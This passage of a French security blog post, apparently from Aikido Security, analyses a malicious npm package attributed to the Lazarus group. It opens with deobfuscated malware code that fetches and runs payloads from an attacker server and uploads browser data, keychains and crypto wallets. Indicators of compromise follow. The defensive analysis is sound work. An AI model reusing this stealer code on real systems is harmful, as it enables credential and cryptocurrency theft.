      var _0x2d691c = fs.statSync(_0x63e597);
      if (_0x2d691c.size >= 51476596) {
        It = _0x2d691c.size;
        fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
          if (_0x34791b) {
            throw _0x34791b;
          }
          extractFile(_0x37a8dc);
        });
      } else {
        if (It < _0x2d691c.size) {
          It = _0x2d691c.size;
        } else {
          fs.rmSync(_0x63e597);
          It = 0;
        }
        Ht();
      }
    } catch (_0xf9efb1) {}
  } else {
    ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
      if (_0x33551d) {
        It = 0;
        return void Ht();
      }
      try {
        It = 51476596;
        fs.renameSync(_0x63e597, _0x37a8dc);
        extractFile(_0x37a8dc);
      } catch (_0x177129) {}
    });
  }
};
function Ht() {
  setTimeout(() => {
    runP();
  }, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
  if ('w' == platform[0]) {
    if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
      (() => {
        const _0x2f7a17 = homeDir + "/.npl";
        const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
        try {
          fs.rmSync(_0x2f7a17);
        } catch (_0x3bd9ea) {}
        request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
          if (!_0x9dd16b) {
            try {
              fs.writeFileSync(_0x2f7a17, _0x3de797);
              ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
            } catch (_0x527428) {}
          }
        });
      })();
    } else {
      runP();
    }
  } else {
    (() => {
      request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
        if (!_0x20405e) {
          fs.writeFileSync(homeDir + "/.npl", _0x1add23);
          ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
        }
      });
    })();
  }
});
var M = 0;
const main = async () => {
  try {
    const _0x153de8 = Math.round(new Date().getTime() / 1000);
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x153de8);
        await UpAppData(R, 1, _0x153de8);
        await UpAppData(X, 2, _0x153de8);
        uploadMozilla(_0x153de8);
        uploadEs(_0x153de8);
        if ('w' == platform[0]) {
          await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x153de8);
        } else {
          await UpUserData(Q, 0, _0x153de8);
          await UpUserData(R, 1, _0x153de8);
          await UpUserData(X, 2, _0x153de8);
        }
      } catch (_0x324883) {}
    })();
    Xt();
  } catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main();
  } else {
    clearInterval(Ct);
  }
}, 30000);


Ici, nous avons pu voir l'activité sournoise que les attaquants essayaient de faire. Dans ce cas, il s'agit d'une stratégie très classique. Le même type de charge utile que nous avons vu dans de nombreuses attaques, par exemple l'exploit UA-pajser. 

  • Vol de portefeuilles de cryptomonnaies.
  • Voler les caches des navigateurs.
  • Voler des porte-clés.
  • Téléchargement et exécution de charges utiles supplémentaires.

C'est le moyen le plus rapide et le plus facile de tirer profit d'une attaque de la chaîne d'approvisionnement tout en ayant la possibilité de se déplacer latéralement et de persister dans l'attaque dans des environnements différents. 

Cette charge utile ne nous est pas inconnue, nous l'avons immédiatement reconnue comme provenant du groupe de pirates nord-coréens parrainé par l'État, Lazarus. L'un des groupes de pirates les plus sophistiqués de la planète, qui a récemment volé 1,5 milliard de dollars d'Ethereum à la bourse de crypto-monnaies ByBit (apparemment, ce n'est pas suffisant). 

Empêchez les logiciels malveillants de pénétrer dans vos applications !

Aikido vient de lancer son flux de menaces de détection de logiciels malveillants qui surveille les registres publics tels que NPMjs et utilise une combinaison de scanners traditionnels et de modèles d'IA entraînés pour identifier l'introduction de paquets malveillants ou la transformation de paquets auparavant bénins en paquets malveillants. Vous pouvez voir des paquets malveillants comme celui-ci sur notre flux public de menaces de logiciels malveillants à intel.aikido.dev .

Principaux enseignements

Outre le fait que même les acteurs de la menace des États-nations commettent des erreurs stupides, il y a plusieurs enseignements intéressants à tirer de cette affaire. La plus importante est que le fait d'essayer de se cacher se remarquera toujours.

En général, Lazarus a obscurci son code à l'aide d'outils d'obscurcissement courants. Cependant, ils peuvent facilement être désobfusqués, et la présence de l'obfuscation à elle seule déclenchera une analyse plus approfondie et un examen plus approfondi du paquet.

Il est astucieux de leur part d'essayer de "cacher" la charge utile malveillante aux yeux des humains comme ils l'ont fait. Mais ce faisant, ils introduisent également d'autres signaux. En effet, il n'est pas normal d'avoir de grandes quantités d'espaces blancs comme cela. Essayer de se cacher génère toujours plus de signaux que nous pouvons exploiter pour la détection.

C'est pourquoi ils ont essayé de déplacer la majeure partie de la charge utile sur un serveur distant qui est récupéré au moment de l'exécution. Mais l'action d'aller chercher quelque chose sur un serveur introduit également d'autres signaux de détection. 

Toutes ces choses peuvent être détectées de manière triviale grâce à notre large éventail de techniques de détection sur lesquelles nous entraînons nos systèmes de détection de l'IA. Plus ils essaient de se cacher, plus ils seront facilement détectés. 

Regardez la vidéo
‍

‍

Indicateurs du groupe Lazarus

Nous sommes en mesure d'attribuer ce logiciel malveillant au groupe Lazarus en raison de plusieurs empreintes digitales dans la charge utile ainsi que de quelques indicateurs supplémentaires ci-dessous.

IPs

  • 144.172.96[.]80

URL

  • hxxp://144.172.96[.]80:1224/client/106/106
  • hxxp://144.172.96[.]80:1224/uploads 
  • hxxp://144.172.96[.]80:1224/pdown
  • https://ipcheck-production.up.railway[.]app/106

comptes npm

  • pdec212

Comptes Github

  • pdec9690

Écrit par Charlie Eriksen

Chercheur en logiciels malveillants

Partager :

https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers

Table des matières :
Lien texte
Partager :
Utiliser le clavier
Utilisez la touche gauche pour naviguer vers le curseur de l'Aïkido.
Utiliser la flèche droite pour passer à la diapositive suivante.
pour naviguer dans les articles
Par
Mackenzie Jackson

Réduire la dette liée à la cybersécurité grâce à l'autotriage par l'IA

Aikido
21 mai 2025
En savoir plus
Par
Mackenzie Jackson

Comprendre les normes SBOM : Un regard sur CycloneDX, SPDX et SWID

Technique
20 mai 2025
En savoir plus
Par
Mackenzie Jackson

Vibe Check : La liste de contrôle de sécurité du codeur vibratoire

Guides
19 mai 2025
En savoir plus
Par
Charlie Eriksen

Vous êtes invités : Diffusion de logiciels malveillants via les invitations de Google Calendar et les PUA

Logiciels malveillants
13 mai 2025
En savoir plus
Par
Mackenzie Jackson

Pourquoi la mise à jour des images de base des conteneurs est si difficile (et comment la faciliter)

Ingénierie
12 mai 2025
En savoir plus
Par
Charlie Eriksen

RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)

6 mai 2025
En savoir plus
Par
Charlie Eriksen

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

Logiciels malveillants
22 avril 2025
En savoir plus
Par
Charlie Eriksen

Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM

Logiciels malveillants
10 avril 2025
En savoir plus
Par
Charlie Eriksen

Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm

Logiciels malveillants
3 avril 2025
En savoir plus
Par
Mackenzie Jackson

L'importance des Lockfiles pour la sécurité de la chaîne d'approvisionnement

Guides
1er avril 2025
En savoir plus
Par
Madeline Lawrence

Lancement du logiciel malveillant Aikido - Open Source Threat Feed

Actualités
31 mars 2025
En savoir plus
Par
Madeline Lawrence

Obtenez le TL;DR : tj-actions/changed-files Attaque de la chaîne d'approvisionnement

Actualités
16 mars 2025
En savoir plus
Par
Mackenzie Jackson

Une liste de contrôle de sécurité Docker pour les développeurs soucieux des vulnérabilités

Guides
6 mars 2025
En savoir plus
Par
Mackenzie Jackson

Détection et blocage des attaques par injection SQL JavaScript

Guides
4 mars 2025
En savoir plus
Par
Floris Van den Abeele

Prisma et PostgreSQL vulnérables aux injections NoSQL ? Un risque de sécurité surprenant expliqué

Ingénierie
14 février 2025
En savoir plus
Par
Willem Delbare

Lancement d'Opengrep | Pourquoi nous avons forké Semgrep

Actualités
24 janvier 2025
En savoir plus
Par
Thomas Segura

Votre client a besoin d'un correctif de vulnérabilité NIS2. Et maintenant ?

14 janvier 2025
En savoir plus
Par
Mackenzie Jackson

Le guide Open-Source de la sécurité des applications pour les startups

Guides
23 décembre 2024
En savoir plus
Par
Madeline Lawrence

Lancement d'Aikido pour Cursor AI

Ingénierie
13 décembre 2024
En savoir plus
Par
Mackenzie Jackson

Rencontrez Intel : Le flux de menaces Open Source d'Aikido alimenté par des LLM.

Ingénierie
13 décembre 2024
En savoir plus
Par
Johan De Keulenaer

Aikido rejoint le réseau de partenaires AWS

Actualités
26 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Injection de commande en 2024 non emballé

Ingénierie
24 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Traversée de chemin en 2024 - L'année déballée

Ingénierie
23 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Équilibrer la sécurité : Quand utiliser des outils open-source ou des outils commerciaux ?

Guides
15 novembre 2024
En savoir plus
Par
Mackenzie Jackson

L'état de l'injection SQL

Guides
8 novembre 2024
En savoir plus
Par
Michiel Denis

Visma renforce sa sécurité grâce à l'aïkido : Conversation avec Nikolai Brogaard

Actualités
6 novembre 2024
En savoir plus
Par
Michiel Denis

La sécurité dans la FinTech : Q&R avec Dan Kindler, co-fondateur et directeur technique de Bound

Actualités
10 octobre 2024
En savoir plus
Par
Madeline Lawrence

Automatiser la conformité avec SprintoGRC x Aikido

Actualités
11 septembre 2024
En savoir plus
Par
Madeline Lawrence

SAST vs DAST : Ce qu'il faut savoir.

Guides
2 septembre 2024
En savoir plus
Par
Lieven Oosterlinck

5 alternatives à Snyk et pourquoi elles sont meilleures

Actualités
5 août 2024
En savoir plus
Par
Madeline Lawrence

Pourquoi nous sommes ravis de nous associer à Laravel

Actualités
8 juillet 2024
En savoir plus
Par
Félix Garriau

110 000 sites touchés par l'attaque de la chaîne d'approvisionnement de Polyfill

Actualités
27 juin 2024
En savoir plus
Par
Félix Garriau

L'essentiel de la cybersécurité pour les entreprises LegalTech

Actualités
25 juin 2024
En savoir plus
Par
Roeland Delrue

Drata Integration - Comment automatiser la gestion des vulnérabilités techniques ?

Guides
18 juin 2024
En savoir plus
Par
Joel Hans

Guide du bricoleur : Construire ou acheter sa boîte à outils OSS pour l'analyse de code et la sécurité des applications

Guides
11 juin 2024
En savoir plus
Par
Roeland Delrue

Certification SOC 2 : 5 choses que nous avons apprises

Guides
4 juin 2024
En savoir plus
Par
Joel Hans

Les 10 principaux problèmes de sécurité des applications et les moyens de s'en protéger

Guides
28 mai 2024
En savoir plus
Par
Madeline Lawrence

Nous venons de lever notre série A de 17 millions de dollars

Actualités
2 mai 2024
En savoir plus
Par
Willem Delbare

Liste de contrôle de la sécurité des webhooks : Comment créer des webhooks sécurisés

Guides
4 avril 2024
En savoir plus
Par
Willem Delbare

Le remède au syndrome de fatigue des alertes de sécurité

Ingénierie
21 février 2024
En savoir plus
Par
Roeland Delrue

NIS2 : Qui est concerné ?

Guides
16 janvier 2024
En savoir plus
Par
Roeland Delrue

Certification ISO 27001 : 8 choses que nous avons apprises

Guides
5 décembre 2023
En savoir plus
Par
Roeland Delrue

Cronos Group choisit Aikido Security pour renforcer la sécurité de ses entreprises et de ses clients

Actualités
30 novembre 2023
En savoir plus
Par
Bart Jonckheere

Comment Loctax utilise Aikido Security pour se débarrasser des alertes de sécurité non pertinentes et des faux positifs

Actualités
22 novembre 2023
En savoir plus
Par
Félix Garriau

Aikido Security lève 5 millions d'euros pour offrir une solution de sécurité transparente aux entreprises SaaS en pleine croissance

Actualités
9 novembre 2023
En savoir plus
Par
Roeland Delrue

Aikido Security obtient la certification ISO 27001:2022

Actualités
8 novembre 2023
En savoir plus
Par
Félix Garriau

Comment le directeur technique de StoryChief utilise l'Aikido Security pour mieux dormir la nuit

Actualités
24 octobre 2023
En savoir plus
Par
Willem Delbare

Qu'est-ce qu'un CVE ?

Guides
17 octobre 2023
En savoir plus
Par
Willem Delbare

Les 3 principales vulnérabilités en matière de sécurité des applications web en 2024

Ingénierie
27 septembre 2023
En savoir plus
Par
Félix Garriau

Nouvelles fonctions de sécurité de l'Aikido : Août 2023

Actualités
22 août 2023
En savoir plus
Par
Félix Garriau

Liste de contrôle d'Aikido sur la sécurité des CTO SaaS en 2025

Actualités
10 août 2023
En savoir plus
Par
Félix Garriau

Liste de contrôle d'Aikido pour la sécurité des CTO SaaS en 2024

Actualités
10 août 2023
En savoir plus
Par
Félix Garriau

15 défis majeurs en matière de sécurité de l'informatique en nuage et du code révélés par les directeurs techniques

Ingénierie
25 juillet 2023
En savoir plus
Par
Willem Delbare

Qu'est-ce que le Top 10 de l'OWASP ?

Guides
12 juillet 2023
En savoir plus
Par
Willem Delbare

Comment créer un panneau d'administration sécurisé pour votre application SaaS ?

Guides
11 juillet 2023
En savoir plus
Par
Roeland Delrue

Comment se préparer à la norme ISO 27001:2022

Guides
5 juillet 2023
En savoir plus
Par
Willem Delbare

Prévenir les retombées d'un piratage de votre plateforme CI/CD

Guides
19 juin 2023
En savoir plus
Par
Félix Garriau

Comment conclure des contrats plus rapidement grâce à un rapport d'évaluation de la sécurité

Actualités
12 juin 2023
En savoir plus
Par
Willem Delbare

Automatiser la gestion des vulnérabilités techniques [SOC 2]

Guides
5 juin 2023
En savoir plus
Par
Willem Delbare

Prévenir la pollution des prototypes dans votre référentiel

Guides
1er juin 2023
En savoir plus
Par
Willem Delbare

Comment le directeur technique d'une startup SaaS peut-il concilier vitesse de développement et sécurité ?

Guides
16 mai 2023
En savoir plus
Par
Willem Delbare

Comment le cloud d'une startup a été pris en charge par un simple formulaire d'envoi de courriels

Ingénierie
10 avril 2023
En savoir plus
Par
Félix Garriau

Aikido Security lève 2 millions d'euros pour créer une plateforme de sécurité logicielle destinée aux développeurs.

Actualités
19 janvier 2023
En savoir plus
Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.
Par
Charlie Eriksen

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

Logiciels malveillants
31 mars 2025
Lancement du logiciel malveillant Aikido - Open Source Threat Feed
Par
Madeline Lawrence

Lancement du logiciel malveillant Aikido - Open Source Threat Feed

Actualités
18 mars 2025
Vibe Check : La liste de contrôle de sécurité du codeur vibratoire
Par
Mackenzie Jackson

Vibe Check : La liste de contrôle de sécurité du codeur vibratoire

Guides
11 février 2025

Obtenir la sécurité gratuitement

Sécurisez votre code, votre cloud et votre environnement d'exécution dans un système central.
Trouvez et corrigez rapidement et automatiquement les vulnérabilités.

Essai gratuit
Sans CB
Réservez une démo
Aucune carte de crédit n'est requise |Résultats du balayage en 32 secondes.
Entreprise
ProduitTarifsA proposCarrièresContactPartenariat avec nous
Ressources
DocsDocuments de l'API publiqueBase de données des vulnérabilitésBlogIntégrationsGlossaireDossier de presseAvis des clients
Sécurité
Trust CenterAperçu de la sécuritéModifier les préférences en matière de cookies
Juridique
Politique de confidentialitéPolitique en matière de cookiesConditions d'utilisationAccord-cadre de souscriptionAccord sur le traitement des données
Cas d'utilisation
ConformitéDAST &AMP; DASTSGAAGestion de la vulnérabilitéGénérer des SBOMSécurité de WordPressSécurisez votre codeL'aïkido pour Microsoft
Industries
HealthTechMedTechFinTechSecurityTechLegalTechHRTechPour les agencesPour les entreprisesPrivate Equity et sociétés de groupe
Comparer
vs Tous les vendeursvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Contact
hello@aikido.dev
LinkedInX
S'abonner
Restez informé(e) de toutes les mises à jour
Nous n'en sommes pas encore là.
👋🏻 Merci ! Vous avez été abonné.
L'équipe Aikido
Nous n'en sommes pas encore là.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Adresse du siège social : Coupure Rechts 88, 9000, Gand, Belgique
🇪🇺 Adresse du bureau : Gebroeders van Eyckstraat 2, 9000, Gand, Belgique
🇺🇸 Adresse du bureau : 95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
Conforme
ISO 27001
Conforme
Fabriqué en Europe